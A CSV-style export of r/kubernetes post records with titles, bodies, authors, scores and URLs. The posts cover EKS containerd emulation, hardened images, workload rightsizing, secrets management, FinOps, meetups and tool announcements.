classes of Paperlive . Which one should i go with?",Ok_Library_8556,1,0,1781700067,/r/kubernetes/comments/1u893fq/paperlive_learning_or_great_learning/,https://www.reddit.com/r/kubernetes/comments/1u893fq/paperlive_learning_or_great_learning/,self.kubernetes,True,0.99,False,,arctic-shift,1781885545 1u88jwr,kubernetes,How to accurately emulate an EKS node's Containerd CRI environment locally for deep runtime testing?,"Hi everyone, I need to build a local, cost-effective POC where I can test and iterate directly against a **Containerd CRI** node configuration that mimics an AWS EKS production environment. Standard local tools like **Minikube or Kind are not an option here**—they abstract too much of the underlying CRI architecture, and they simply don't update or reflect custom Containerd runtime configurations the way a real production node does. On the flip side, spinning up a full, managed EKS cluster with managed node groups for days of debugging will quickly destroy my personal budget. Tools like Minikube allow easy `minikube ssh` access to run anything directly on the host, but real EKS managed nodes handle host-level execution and runtime access differently. I need to test how a DaemonSet/agent interacts with this specific EKS environment. What do you suggest to do if I want to set up a local or cheap environment which is 1:1 accurate to how an EKS managed node behaves at the Containerd CRI configuration level? If you've emulated EKS node behavior for deep runtime/CRI testing before, what approach did you take, and did you hit any subtle deltas when eventually migrating to the real cloud? Thanks for any insights!",xmanotaur,0,9,1781698599,/r/kubernetes/comments/1u88jwr/how_to_accurately_emulate_an_eks_nodes_containerd/,https://www.reddit.com/r/kubernetes/comments/1u88jwr/how_to_accurately_emulate_an_eks_nodes_containerd/,self.kubernetes,True,0.43,False,,arctic-shift,1781885545 1u85wxl,kubernetes,Weekly: Show off your new tools and projects thread,"Share any new Kubernetes tools, UIs, or related projects!",AutoModerator,17,17,1781690442,/r/kubernetes/comments/1u85wxl/weekly_show_off_your_new_tools_and_projects_thread/,https://www.reddit.com/r/kubernetes/comments/1u85wxl/weekly_show_off_your_new_tools_and_projects_thread/,self.kubernetes,True,0.88,False,Periodic,arctic-shift,1781885545 1u83yhf,kubernetes,what actually is a hardened container image,"we pulled an official postgres image for a new service last month. ran trivy. 300+ CVEs, none of them were in postgres itself, they were in bash, curl, and a bunch of OS utilities that had no reason to be there. that's the core problem hardened images solve. strip the image down to only what the app needs to run, and most of those CVEs simply don't exist in the image to begin with. no shell, no package manager, nothing a scanner can flag that you'd never patch anyway. what's the CVE count on your current base images looking like?",Routine_Day8121,0,5,1781683428,/r/kubernetes/comments/1u83yhf/what_actually_is_a_hardened_container_image/,https://www.reddit.com/r/kubernetes/comments/1u83yhf/what_actually_is_a_hardened_container_image/,self.kubernetes,True,0.35,False,,arctic-shift,1781885545 1u81tmh,kubernetes,Any Tech folks joining Kubecon?,Hi just wanted to check if any tech folks from this sub joining kubekon Mumbai tomorrow ,EchoPlz,1,0,1781676001,/r/kubernetes/comments/1u81tmh/any_tech_folks_joining_kubecon/,https://i.redd.it/7622bqkh9s7h1.jpeg,i.redd.it,False,1,False,,arctic-shift,1781885545 1u7piw7,kubernetes,Let's build a Postgres Fleet Manager,,Traditional-Sun-8550,1,0,1781642471,/r/kubernetes/comments/1u7piw7/lets_build_a_postgres_fleet_manager/,/r/ProgrammingBuddies/comments/1u7pezl/k8sgo_lets_build_a_postgres_fleet_manager/,,False,0.6,False,,arctic-shift,1781885545 1u7npk7,kubernetes,The feedback loops behind Kubernetes | PlanetScale,,Ncell50,45,3,1781638495,/r/kubernetes/comments/1u7npk7/the_feedback_loops_behind_kubernetes_planetscale/,https://planetscale.com/blog/the-feedback-loops-behind-kubernetes,planetscale.com,False,0.93,False,,arctic-shift,1781885545 1u7lhcr,kubernetes,Ingress Nginx >> Gateway API,[removed],K8sCruiserTX,1,0,1781633769,/r/kubernetes/comments/1u7lhcr/ingress_nginx_gateway_api/,https://www.reddit.com/r/kubernetes/comments/1u7lhcr/ingress_nginx_gateway_api/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u7kg78,kubernetes,Why do people hate on certifications so much?,"We do this with AWS, Terraform, every cert. ""Oh you got certified? So what, I learned everything the hard way."" Cool story. That doesn't mean the cert is useless for someone else. Stop shitting on them - it is obvious for everyone they're not meant to replace experience. A cert is a foundation. For someone switching from backend to DevOps, it's a door opener to get invited at screening. For a self-taught person without any prior experience, it's structure. The hypocrisy is wild too. Same people saying ""certs are worthless"" will reject a candidate's resume because it doesn't have *any* qualifications. Make it make sense.",Warm-Instruction7307,3,91,1781631579,/r/kubernetes/comments/1u7kg78/why_do_people_hate_on_certifications_so_much/,https://www.reddit.com/r/kubernetes/comments/1u7kg78/why_do_people_hate_on_certifications_so_much/,self.kubernetes,True,0.51,False,,arctic-shift,1781885545 1u7j8nv,kubernetes,Need Advance kubernetes courses,"I am working as a Devops engineer, I want to upgrade my knowledge more in k8s, if you guys have any idea about Advance kubernetes courses share with me.",apmmahesh,25,22,1781629053,/r/kubernetes/comments/1u7j8nv/need_advance_kubernetes_courses/,https://www.reddit.com/r/kubernetes/comments/1u7j8nv/need_advance_kubernetes_courses/,self.kubernetes,True,0.9,False,,arctic-shift,1781885545 1u7dd6q,kubernetes,What do you guys recommend for rightsizing and autoscaling workloads in k8s?,"Hello guys!!! ​ Here we have a relatively small Kubernetes environment, with around 400 pods across two environments. We have started an initiative to optimize our cluster by rightsizing applications and for some services implementing KEDA, HPA, and affinity rules. ​ My biggest question is: how should I start this project? ​ We already have monitoring in place for memory, CPU, and other metrics. However, I can't simply reduce resource requests and limits because any restart caused by an OOMKilled event, could have a significant impact on the business. ​ Another challenge is that many developers have the mindset that ""the more resources, the better."" For instance, we have worker applications configured with around 20 GB of memory, but according to the metrics, they rarely consume more than 10 GB. Despite that, they sometimes restart with SIGKILL (exit code 137) and not necessarily due to OOMKilled events, i've tried to explain that, in most cases, exit code 137 and OOMKilled are different problems and should be investigated differently, but there is still some resistance to this idea. ​ Have you ever faced a similar situation? How did you approach the rightsizing process while building confidence with the development teams?",PersimmonQuiet3767,22,28,1781616014,/r/kubernetes/comments/1u7dd6q/what_do_you_guys_recommend_for_rightsizing_and/,https://www.reddit.com/r/kubernetes/comments/1u7dd6q/what_do_you_guys_recommend_for_rightsizing_and/,self.kubernetes,True,0.9,False,,arctic-shift,1781885545 1u7d4hf,kubernetes,Rightsizing and Autoscaling Workloads in Kubernetes: Where to Start?,"Hello guys, ​ Here we have a relatively small Kubernetes environment, with around 400 pods across two environments. We have started an initiative to optimize our cluster by rightsizing applications and for some services implementing KEDA, HPA, and affinity rules. ​ My biggest question is: how should I start this project? ​ We already have monitoring in place for memory, CPU, and other metrics. However, I can't simply reduce resource requests and limits because any restart caused by an OOMKilled event, could have a significant impact on the business. ​ Another challenge is that many developers have the mindset that ""the more resources, the better."" For instance, we have worker applications configured with around 20 GB of memory, but according to the metrics, they rarely consume more than 10 GB. Despite that, they sometimes restart with SIGKILL (exit code 137) and not necessarily due to OOMKilled events. ​ I've tried to explain that, in most cases, exit code 137 and OOMKilled are different problems and should be investigated differently, but there is still some resistance to this idea. ​ Have you ever faced a similar situation? How did you approach the rightsizing process while building confidence with the development teams?",PersimmonQuiet3767,2,0,1781615427,/r/kubernetes/comments/1u7d4hf/rightsizing_and_autoscaling_workloads_in/,https://www.reddit.com/r/kubernetes/comments/1u7d4hf/rightsizing_and_autoscaling_workloads_in/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u7bj6a,kubernetes,Exploring Cloud Native projects in CNCF Sandbox. Part 6: 9 arrivals of Spring 2025,"I've been covering projects recently accepted into the CNCF Sandbox for a few years. My intention is to provide brief descriptions of what/how/why to help stay informed about the landscape (and pick some helpful tools for various needs). This time, it's a batch of 9 projects from the last year: KitOps, OpenTofu, kagent, Cadence, Hyperlight, interLink, urunc, kgateway, and Cozystack.",dshurupov,18,0,1781611275,/r/kubernetes/comments/1u7bj6a/exploring_cloud_native_projects_in_cncf_sandbox/,https://palark.com/blog/cncf-sandbox-2025-spring/,palark.com,False,0.95,False,,arctic-shift,1781885545 1u7b8pq,kubernetes,Renaming the medik8s namespace,"I was wondering if anybody here uses Medik8s? I just deployed it and it auto created the medik8s-leases namespace. We have a strict naming convention where all system nameapaces are prefixed with ""infra-"" but I cannot find a way to change it in the yaml files. ​ Anybody else have this issue and found a way around it?",Top_Toe8606,4,23,1781610478,/r/kubernetes/comments/1u7b8pq/renaming_the_medik8s_namespace/,https://www.reddit.com/r/kubernetes/comments/1u7b8pq/renaming_the_medik8s_namespace/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u7b10h,kubernetes,"multiple jumpboxes, local pc, one jumpbox for k8s access ?","How do you manage access to multiple environments (dev, staging, prod1, prod2)? Do you use one jumpbox, multiple jumpboxes, or direct access from your local PC",surpyc,8,7,1781609847,/r/kubernetes/comments/1u7b10h/multiple_jumpboxes_local_pc_one_jumpbox_for_k8s/,https://www.reddit.com/r/kubernetes/comments/1u7b10h/multiple_jumpboxes_local_pc_one_jumpbox_for_k8s/,self.kubernetes,True,0.91,False,,arctic-shift,1781885545 1u7a42z,kubernetes,Kubernetes + Autonomous Agents: AAIF published a technical breakdown worth reading,,Old-Pen445,0,0,1781607040,/r/kubernetes/comments/1u7a42z/kubernetes_autonomous_agents_aaif_published_a/,https://i.redd.it/27hap7s9jm7h1.png,i.redd.it,False,0.14,False,,arctic-shift,1781885545 1u796fd,kubernetes,Weekly: Questions and advice,"Have any questions about Kubernetes, related tooling, or how to adopt or use Kubernetes? Ask away!",AutoModerator,1,1,1781604007,/r/kubernetes/comments/1u796fd/weekly_questions_and_advice/,https://www.reddit.com/r/kubernetes/comments/1u796fd/weekly_questions_and_advice/,self.kubernetes,True,1,False,Periodic,arctic-shift,1781885545 1u78rf9,kubernetes,CKAD for junior developers,,Upset_Engineering426,1,0,1781602587,/r/kubernetes/comments/1u78rf9/ckad_for_junior_developers/,/r/Backend/comments/1u6svfz/ckad_for_junior_developers/,,False,1,False,,arctic-shift,1781885545 1u78e4s,kubernetes,I accidentally nuked kubernetes deployment pipeline 💀,"So I have around 1 year of experience and work at a service-based LALA company. Recently, the project I was working on got completed, so I was moved to a new project. Since I was new to the project, a senior developer was sitting beside me, helping me understand the setup while also working on his own tasks. I had made some database changes, and due to caching issues, I needed to restart/delete some pods so the changes would take effect. The problem? I'm still pretty new to Kubernetes. I opened the cluster, found what I thought was the right thing, and before doing anything, I literally asked my senior, ""This is the one I need to delete, right?"" He looked at it and said, ""Yeah, go ahead."" So I confidently clicked delete. A few seconds later... 💥 Deployment deleted. Then one of our super senior handle the situation and bring back the deployment pipeline After that our owner called me in office and had to explain what happened And lucky since senior which is supervising me also got lot in his hand so every one got lucky ",Candid-Ad7060,38,30,1781601274,/r/kubernetes/comments/1u78e4s/i_accidentally_nuked_kubernetes_deployment/,https://www.reddit.com/r/kubernetes/comments/1u78e4s/i_accidentally_nuked_kubernetes_deployment/,self.kubernetes,True,0.72,False,,arctic-shift,1781885545 1u781l0,kubernetes,How do you scale your DevOps function without adding a headcount?,"We are a 40-person series b company and the honest answer is we haven't figured it out. our one devops person left six months ago and since then it's been split across three backend engineers who all have their actual jobs to do. Nothing is broken exactly but everything is slower. deploys take longer to review, infra tickets sit for days, and we're slowly accumulating decisions nobody's fully owning. i brought it up with the cto last week and the answer was ""we'll hire when the budget unlocks"" which has been the answer for two quarters. What approaches other teams have actually used here  not looking for ""just hire someone"" because that's not on the table right now. what's actually worked for scaling devops capacity without a full-time hire?",Any_Side_4037,0,14,1781600018,/r/kubernetes/comments/1u781l0/how_do_you_scale_your_devops_function_without/,https://www.reddit.com/r/kubernetes/comments/1u781l0/how_do_you_scale_your_devops_function_without/,self.kubernetes,True,0.27,False,,arctic-shift,1781885545 1u78156,kubernetes,What I learned using AI to build a Kubernetes Operator for Supabase's Multigres,"We built a production Kubernetes operator for Multigres (Sugu Sougoumarane's new distributed Postgres). We did this AI-assisted, not a one-shot prompt or an autonomous loop, but a design-first project with human intervention at every step. **Some lessons I learned:** \- Treat the user-facing spec as the one thing that can't drift. Everything else is cheap to refactor; the contract isn't. \- Don't install AI frameworks. Read them, steal the ideas, and write your own skills instead. \- Run the mechanical work — reviews, audits, commit messages, changelogs, doc checks — as a factory of fresh-context agents, each with one narrow job, orchestrated by processes you control. Share them with the team so the development is consistent \- When a skill lets something through, fix the skill. Bad outputs are defects in the line, not one-off noise. \- Bug audits need design context loaded up front and a second agent to filter hallucinations, or you drown in false positives. \- Tests and code from the same AI source share the same blind spots. Verify against real runtime behavior instead of obsessing over 100% code coverage — this is especially true on greenfield projects. \- AI won't tell you a bad idea is a bad idea. It'll just build a polished version of it. Human judgment still owns every design call. To be clear: this doesn't mean AI replaces engineers. If anything it raised the bar on design, architecture, and UX judgment. AI will happily build a polished version of a bad idea and never tell you it's bad. That call is still yours. Full writeup: [https://numtide.com/blog/writing-a-kubernetes-operator-in-the-age-of-ai/](https://numtide.com/blog/writing-a-kubernetes-operator-in-the-age-of-ai/) ",DevsyOpsy,31,12,1781599968,/r/kubernetes/comments/1u78156/what_i_learned_using_ai_to_build_a_kubernetes/,https://numtide.com/blog/writing-a-kubernetes-operator-in-the-age-of-ai/,numtide.com,False,0.76,False,,arctic-shift,1781885545 1u76srv,kubernetes,CSI Driver or External Secrets for AKS + Key Vault,"Hi Everyone, I’m working with an AKS cluster and looking into the best way to integrate Azure Key Vault for managing secrets. From what I’ve seen, the two common approaches are using the Key Vault CSI Driver or the External Secrets Operator. I understand the basics of both, but I’m trying to figure out how people actually make this decision in real production setups. With the CSI driver, it feels a bit more secure since secrets aren’t stored in Kubernetes, but mounting volumes and managing references per pod seems a bit heavy operationally. External Secrets seems much easier to work with since it syncs with native K8S secrets, but you’re still storing secrets in etcd. For those who’ve used either (or both) in production, how do you decide which approach to go with? What trade-offs ended up mattering the most for you (security, scalability, ease of use, etc.)? Would really appreciate hearing real-world experiences.",Suitable-Regular6822,2,7,1781595472,/r/kubernetes/comments/1u76srv/csi_driver_or_external_secrets_for_aks_key_vault/,https://www.reddit.com/r/kubernetes/comments/1u76srv/csi_driver_or_external_secrets_for_aks_key_vault/,self.kubernetes,True,0.67,False,,arctic-shift,1781885545 1u74gg8,kubernetes,OnPrem Kubernetes Technology Recommendations,[removed],Vast-Customer6514,1,0,1781587362,/r/kubernetes/comments/1u74gg8/onprem_kubernetes_technology_recommendations/,https://www.reddit.com/r/kubernetes/comments/1u74gg8/onprem_kubernetes_technology_recommendations/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u720xo,kubernetes,Practical Learning Tutorial for AI Training / Inference Scaling Infrastructure,"Hi everyone, I am really interested in learning more about setting up the AI infrastructure for model training in a distributed GPU node's environment and also scaling the LLM/AI Inference in a distributed environment. Looking for any practical learning materials, courses or youtube tutorial videos to get hands on experience for building those systems. Any lead would help : )",Life-Entertainment68,20,1,1781579876,/r/kubernetes/comments/1u720xo/practical_learning_tutorial_for_ai_training/,https://www.reddit.com/r/kubernetes/comments/1u720xo/practical_learning_tutorial_for_ai_training/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u6zgbc,kubernetes,"PostgreSQL on Kubernetes in 2026 — Complete CloudNativePG Setup Guide (HA, PITR, PgBouncer)","CloudNativePG has made running production PostgreSQL on Kubernetes genuinely viable. This guide covers the full setup — 3-instance HA cluster, WAL archiving to S3, PgBouncer connection pooling, Network Policies, failover testing, and Point-in-Time Recovery. Full guide: [https://devtoolhub.com/postgresql-on-kubernetes-cloudnativepg/](https://devtoolhub.com/postgresql-on-kubernetes-cloudnativepg/)",amareswer,47,11,1781572655,/r/kubernetes/comments/1u6zgbc/postgresql_on_kubernetes_in_2026_complete/,https://www.reddit.com/r/kubernetes/comments/1u6zgbc/postgresql_on_kubernetes_in_2026_complete/,self.kubernetes,True,0.84,False,,arctic-shift,1781885545 1u6onj1,kubernetes,kubernetes3d - educational game concept,"Hello! 👋 I'm developing a game called kubernetes3d aimed at making k8s fun and engaging to learn, without compromising on technical depth. In the video is the concept of what the game environment and gameplay will look like. Before I go all in, just wanted to check and get some early feedback. Please provide suggestions, criticism and feature requests. 🙏 ",Piposhi,0,18,1781547538,/r/kubernetes/comments/1u6onj1/kubernetes3d_educational_game_concept/,https://v.redd.it/okgg4w8mmh7h1,v.redd.it,False,0.43,False,,arctic-shift,1781885545 1u6kbyn,kubernetes,"I documented my 5-day journey containerizing a Flask app and deploying it to AKS. Here are the biggest ""gotchas"" I hit.",,Hour-Wall-8047,1,0,1781538392,/r/kubernetes/comments/1u6kbyn/i_documented_my_5day_journey_containerizing_a/,/r/devops/comments/1u6kbq1/i_documented_my_5day_journey_containerizing_a/,,False,1,False,,arctic-shift,1781885545 1u6ja6d,kubernetes,Longhorn host not found issue,[removed],akhilesh_gone,1,0,1781536112,/r/kubernetes/comments/1u6ja6d/longhorn_host_not_found_issue/,https://www.reddit.com/r/kubernetes/comments/1u6ja6d/longhorn_host_not_found_issue/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u6i517,kubernetes,"NYC June meetup - join us in person on Tuesday, 6/23!","​Join us on Tuesday, 6/23 at 6pm for the Plural x Kubernetes June meetup 👋 ​ Our guest speaker is Adna Zujo Lakisic. Her topic is ""Accelerating Multi-agent Development on k8s with Kagent and Mirrord."" 💡**Session Description** 💡 As organizations move from single-agent applications to multi-agent systems, development becomes increasingly difficult. A single workflow may involve multiple agents, tools, services, and APIs distributed across Kubernetes environments. Debugging these interactions often requires repeated deployments and lengthy feedback cycles. Using kagent and mirrord, we demonstrate how developers can run agents locally while connecting to live Kubernetes services, enabling rapid iteration, debugging, and validation of distributed agent workflows without redeploying every change. ✅ RSVP at [https://luma.com/r5tvqerq](https://luma.com/r5tvqerq) ✅",MutedReputation202,11,0,1781533556,/r/kubernetes/comments/1u6i517/nyc_june_meetup_join_us_in_person_on_tuesday_623/,https://i.redd.it/onwvcqyhhg7h1.png,i.redd.it,False,0.93,False,,arctic-shift,1781885545 1u6hr13,kubernetes,TechSummit Amsterdam (30 Sept): Register Now,"Hi Everyone, We are hosting the annual TechSummit in Amsterdam on September 30th, and registration is now open. To keep it brief, this is a completely non-commercial event- no product pitches, just engineering-focused content for techies. **The Details:** * **Theme:** Building Resiliency at Scale * **Cost:** €15 * **The Cause:** 100% of all ticket proceeds are donated directly to **Bits of Freedom** If you are a dev, sysadmin, or engineer looking for solid technical talks and networking without the sales pitch, you can view the full details and register here: [https://techsummit.io/](https://techsummit.io/)",LeasewebGlobal,2,0,1781532676,/r/kubernetes/comments/1u6hr13/techsummit_amsterdam_30_sept_register_now/,https://www.reddit.com/r/kubernetes/comments/1u6hr13/techsummit_amsterdam_30_sept_register_now/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u6gth0,kubernetes,AI SRE tools in 2026 - updated list + what I actually heard at KubeCon,,Old-Pen445,0,1,1781530540,/r/kubernetes/comments/1u6gth0/ai_sre_tools_in_2026_updated_list_what_i_actually/,/r/sre/comments/1u232k6/ai_sre_tools_in_2026_updated_list_what_i_actually/,,False,0.4,False,,arctic-shift,1781885545 1u6f4wj,kubernetes,"Cloud, Containers & Security • Adrian Mouat, Kief Morris & Sam Newman","In this session, Sam Newman interviews Kief Morris and Adrian Mouat, both experts in their field. They explore the current reality of security in the container world, how infrastructure automation is impacted by latest trends, and whether platform teams are actually working.",goto-con,1,0,1781526369,/r/kubernetes/comments/1u6f4wj/cloud_containers_security_adrian_mouat_kief/,https://youtu.be/42RNaAZK3hU?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53,youtu.be,False,1,False,,arctic-shift,1781885545 1u6agzp,kubernetes,Selling my KubeCon Mumbai 2026 Early Bird Ticket,"I am excited for this event, but due to my father's health, I will not be able to attend. I have an early bird ticket worth Rs. 6500/- for sell if someone wants it. Please DM if you are interested. Please note, this is not a complimentary ticket - I will be expecting to be paid for the cost of the ticket (no commission / additional money beyond the ticket cost). ",Emergency-Help2326,1,3,1781511479,/r/kubernetes/comments/1u6agzp/selling_my_kubecon_mumbai_2026_early_bird_ticket/,https://www.reddit.com/r/kubernetes/comments/1u6agzp/selling_my_kubecon_mumbai_2026_early_bird_ticket/,self.kubernetes,True,0.55,False,,arctic-shift,1781885545 1u6a2fl,kubernetes,"Best practices for FinOps that actually reduce cloud infrastructure costs, not just add dashboards?","All the FinOps content I see is heavy on visibility and light on behavior change. You get nicer cost reports, more granular breakdowns, maybe a prettier dashboard, and then everyone goes back to building features the same way as before. What seems hard in practice is getting engineering teams to actually change how they design, size, and run things based on those numbers. Rightsizing one cluster or killing a few idle instances is easy. Getting people to think about cost when they pick a service, set a retention policy, or design a new feature is the part that never quite sticks. I would like to know about the FinOps practices that really changed the culture over time. Things like how budgets are set, how cost shows up in planning, what you reward or block in reviews, what automation you rely on, and how you avoid just shaming teams with monthly cost emails. If you’ve seen your cloud bill go down and stay down because of FinOps, what actually changed in how people work day to day?",Routine_Day8121,11,9,1781510030,/r/kubernetes/comments/1u6a2fl/best_practices_for_finops_that_actually_reduce/,https://www.reddit.com/r/kubernetes/comments/1u6a2fl/best_practices_for_finops_that_actually_reduce/,self.kubernetes,True,0.77,False,,arctic-shift,1781885545 1u667xm,kubernetes,What's one Kubernetes mistake you made early on that you'd never make again?,"I've been spending more time around Kubernetes lately, and one thing that's become obvious is how many things seem straightforward until you actually run into them in production. Whether it's resource requests and limits, networking, persistent volumes, or overcomplicating deployments, it feels like everyone has at least one lesson they learned the hard way. For those who have been running Kubernetes for a while, what's one mistake you made early on that you'd definitely avoid if you were starting over today? Would be interesting to hear some war stories and lessons learned.",Capable_Dream_7582,55,59,1781497294,/r/kubernetes/comments/1u667xm/whats_one_kubernetes_mistake_you_made_early_on/,https://www.reddit.com/r/kubernetes/comments/1u667xm/whats_one_kubernetes_mistake_you_made_early_on/,self.kubernetes,True,0.89,False,,arctic-shift,1781885545 1u5xsrx,kubernetes,Is everyone sick of dashboards?,"Hey all, I’ve had a few questions buzzing around I was hoping community could give me a broader perspective. 1. How’s everyone doing cluster right sizing. And do current tools feel overwhelming? 2. I haven’t dabbled into automating workload right sizing on kubernetes but if you have would love to know what worked(or didn’t) 3. Did right sizing workloads end up reducing cluster costs and were you to justify this within your org(heard from friends that this isn’t so easy) :) obviously avoiding mentioning specific tools so this doesn’t come across as some kind of attack on vendors but would love to hear experiences with different tools ",n1t3h0und,23,13,1781473709,/r/kubernetes/comments/1u5xsrx/is_everyone_sick_of_dashboards/,https://www.reddit.com/r/kubernetes/comments/1u5xsrx/is_everyone_sick_of_dashboards/,self.kubernetes,True,0.81,False,,arctic-shift,1781885545 1u5rqdk,kubernetes,Using AI to troubleshoot Kubernetes incidents — building an AI SRE agent,"Hi all, I’m experimenting with building an **AI SRE agent for Kubernetes environments**. Goal is to reduce the time engineers spend on debugging by letting AI: * Analyze pod failures, events, and logs * Correlate metrics from Prometheus * Identify probable root causes * Suggest fixes (restart, scale, config updates, etc.) Planning to build this step-by-step as a series. Would love feedback from the community: * What are the hardest Kubernetes issues to debug in your experience? * What signals/events would you want AI to prioritize? Quick intro video here: [https://youtube.com/shorts/k2cn1gFJ6ic](https://youtube.com/shorts/k2cn1gFJ6ic) Episode 1 Video here: [https://www.youtube.com/watch?v=7rx6uIk2kVk](https://www.youtube.com/watch?v=7rx6uIk2kVk)",Chandratechvideos,0,6,1781459411,/r/kubernetes/comments/1u5rqdk/using_ai_to_troubleshoot_kubernetes_incidents/,https://www.reddit.com/r/kubernetes/comments/1u5rqdk/using_ai_to_troubleshoot_kubernetes_incidents/,self.kubernetes,True,0.25,False,,arctic-shift,1781885545 1u5lrhs,kubernetes,[ Removed by Reddit ],[removed],[deleted],1,0,1781445194,/r/kubernetes/comments/1u5lrhs/removed_by_reddit/,,,True,0.99,False,,arctic-shift,1781885545 1u5f9b8,kubernetes,"Are you production ready, or just deploying and hoping?","I’m building something I wish I had during many production readiness reviews. Most teams have dashboards, logs, alerts, metrics, and runbooks. But before a release, we still end up asking the same uncomfortable questions: \- Is this actually production ready? \- What will break first? \- Is Kafka configured safely? \- Are Kubernetes workloads resilient? \- Are Terraform/IAM/storage settings risky? \- Are we missing something obvious before production? So I started building Beacon. Beacon is a local production-readiness scanner for distributed systems. You give it infrastructure/config/runtime inputs, and it gives back: \- a production-readiness decision \- top operational risks \- grouped root-cause style findings \- what to fix first \- evidence behind the decision It is not trying to be a dashboard. It is not trying to be an observability platform. It is not an “AI DevOps chatbot.” The idea is: Deterministic checks first. Operational reasoning second. AI explanation later, only if useful. Current areas: \- Kafka readiness \- Kubernetes YAML checks \- Terraform/static infra scanning \- Schema Registry style checks \- ACL checks \- runtime snapshots \- API → Kafka → Consumer → DB flow scenarios \- local Docker-based UI and CLI You can try the local UI: docker run --rm -p 8765:8765 ghcr.io/mishraricha1806/beacon:latest ui --host 0.0.0.0 --port 8765 Open: [http://127.0.0.1:8765/](http://127.0.0.1:8765/) I’m sharing this early because I want real engineers to shape it. If you work with Kafka, Kubernetes, Terraform, SRE, DevOps, platform engineering, or backend systems, I’d love your feedback: \- What production-readiness checks would you expect? \- What risks do teams miss before release? \- What would make this useful in your CI/CD or release review? \- What should Beacon support next? If this sounds useful, try it and tell me what is missing. I want Beacon to become something engineers actually trust before production.",Ok_Outcome_8056,0,9,1781424300,/r/kubernetes/comments/1u5f9b8/are_you_production_ready_or_just_deploying_and/,https://www.reddit.com/r/kubernetes/comments/1u5f9b8/are_you_production_ready_or_just_deploying_and/,self.kubernetes,True,0.08,False,,arctic-shift,1781885545 1u5bkzb,kubernetes,"What would AGENTS.md look like for Kubernetes, but in a generic kcp way?","I am thinking about the idea of an AGENTS.md for a Kubernetes cluster. Not as documentation for humans only, but as a machine readable guide for AI agents that need to understand how to safely inspect, operate, and modify a cluster. For a regular Kubernetes cluster, this could describe things like namespaces, controllers, CRDs, ownership boundaries, deployment rules, escalation paths, and forbidden actions. But I am more interested in the generic kcp version of this idea. In a kcp style world, where APIs, workspaces, syncers, logical clusters, and tenancy boundaries matter more than a single physical cluster, what should AGENTS.md describe? Would it be closer to an API contract, an operational policy, a workspace manifest, or something else? Curious if anyone here has thought about a generic pattern for agent readable cluster context. per aspera ad astra",solidavocadorock,1,0,1781411910,/r/kubernetes/comments/1u5bkzb/what_would_agentsmd_look_like_for_kubernetes_but/,https://www.reddit.com/r/kubernetes/comments/1u5bkzb/what_would_agentsmd_look_like_for_kubernetes_but/,self.kubernetes,True,1,False,,arctic-shift,1781885545 1u5bkea,kubernetes,"What would AGENTS.md look like for Kubernetes, but in a generic kcp way","I am thinking about the idea of an AGENTS.md for a Kubernetes cluster. Not as documentation for humans only, but as a machine readable guide for AI agents that need to understand how to safely inspect, operate, and modify a cluster. For a regular Kubernetes cluster, this could describe things like namespaces, controllers, CRDs, ownership boundaries, deployment rules, escalation paths, and forbidden actions. But I am more interested in the generic kcp version of this idea. In a kcp style world, where APIs, workspaces, syncers, logical clusters, and tenancy boundaries matter more than a single physical cluster, what should AGENTS.md describe? Would it be closer to an API contract, an operational policy, a workspace manifest, or something else? Curious if anyone here has thought about a generic pattern for agent readable cluster context. per aspera ad astra",solidavocadorock,0,9,1781411859,/r/kubernetes/comments/1u5bkea/what_would_agentsmd_look_like_for_kubernetes_but/,https://www.reddit.com/r/kubernetes/comments/1u5bkea/what_would_agentsmd_look_like_for_kubernetes_but/,self.kubernetes,True,0.32,False,,arctic-shift,1781885545 1u5bblr,kubernetes,Experienced DevOps Engineer & Kubernetes Professional Available for Freelance /Contract Projects and Training,"Hey everyone, I’m an experienced DevOps Engineer specializing in Kubernetes, cloud infrastructure, and automation. I’m currently looking for contract-based projects, or short-term engagements where I can help teams build, optimize, and maintain reliable infrastructure. My areas of expertise include: Bare metal Kubernetes cluster design, deployment, and troubleshooting CI/CD pipeline implementation and optimization Cloud platforms (VCF, Proxmox VE) Infrastructure as Code (Terraform, Ansible) Docker & container orchestration Monitoring, logging, and observability Production reliability and DevOps best practices If your team needs help with Kubernetes, cloud infrastructure, DevOps automation I’d be happy to discuss how I can contribute. NOTE: I also provide DevOps and Kubernetes training. Feel free to DM me or comment if you know of any contract opportunities/ freelance projects. Thanks!",parray123,0,1,1781411096,/r/kubernetes/comments/1u5bblr/experienced_devops_engineer_kubernetes/,https://www.reddit.com/r/kubernetes/comments/1u5bblr/experienced_devops_engineer_kubernetes/,self.kubernetes,True,0.15,False,,arctic-shift,1781885545 1u59yrc,kubernetes,Nginx benchmarks pointed to the wrong root cause,"Ran into a strange issue recently. Some requests were failing, but the server looked mostly idle. CPU was low, memory was fine. I compared native Nginx against the Docker version and native came out almost 2x faster. At that point I was convinced I was dealing with a Docker or Nginx performance problem. Turned out the issue was down in the Linux kernel, not Nginx or Docker. Curious if anyone else has had a case where the benchmarks looked obvious but the real issue was somewhere completely different. Video is about a 2 minutes if anyone is interested: [https://www.youtube.com/watch?v=-TNSqO8-M80](https://www.youtube.com/watch?v=-TNSqO8-M80)",SystemAxis,0,0,1781407016,/r/kubernetes/comments/1u59yrc/nginx_benchmarks_pointed_to_the_wrong_root_cause/,https://www.reddit.com/r/kubernetes/comments/1u59yrc/nginx_benchmarks_pointed_to_the_wrong_root_cause/,self.kubernetes,True,0.23,False,,arctic-shift,1781885545 1u5434f,kubernetes,Karma Climb — Higher or Lower with real Reddit upvotes,,Kobey_Dev_Services,0,1,1781389814,/r/kubernetes/comments/1u5434f/karma_climb_higher_or_lower_with_real_reddit/,/r/u_Kobey_Dev_Services/comments/1u5337k/karma_climb_higher_or_lower_with_real_reddit/,,False,0.13,False,,arctic-shift,1781885545 1u4xdds,kubernetes,"Elasticsearch used 19 GB RAM and 96% CPU ingesting Kubernetes logs, OpenObserve used 1.9 GB and 15% (1.1TB, same hardware, repo included)",,Gorakhnathy7,0,2,1781372982,/r/kubernetes/comments/1u4xdds/elasticsearch_used_19_gb_ram_and_96_cpu_ingesting/,/r/elasticsearch/comments/1u4xcl2/elasticsearch_used_19_gb_ram_and_96_cpu_ingesting/,,False,0.45,False,,arctic-shift,1781885545 